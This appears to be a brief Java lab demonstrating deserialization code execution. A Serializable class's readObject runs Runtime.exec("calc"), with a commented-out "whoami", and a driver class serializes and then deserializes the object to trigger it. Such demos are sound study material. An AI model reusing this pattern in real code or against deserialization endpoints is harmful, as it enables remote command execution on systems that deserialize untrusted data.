Hsy1类
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Hsy1 implements Serializable {
public int age;
public String name;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc");
//Runtime.getRuntime().exec("whoami");
// 默认的反序列化操作
in.defaultReadObject();
}
}
Hsy类
import java.io.*;
public class Hsy {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Hsy1 p=new Hsy1();
p.age=18;
p.name="hsy123";
serialize(p,"hsy123.bin");
System.out.println("反序列化结果:" + deserialize("hsy123.bin"));
}
public static void serialize(Object obj, String filePath) throws IOException {
try (FileOutputStream fileOut = new FileOutputStream(filePath);
ObjectOutputStream objectOut = new ObjectOutputStream(fileOut)) {
objectOut.writeObject(obj);
}
}
public static Object deserialize(String filePath) throws IOException, ClassNotFoundException {
try (FileInputStream fileIn = new FileInputStream(filePath);
ObjectInputStream objectIn = new ObjectInputStream(fileIn)) {
return objectIn.readObject();
}
}
}
运行
java序列化内容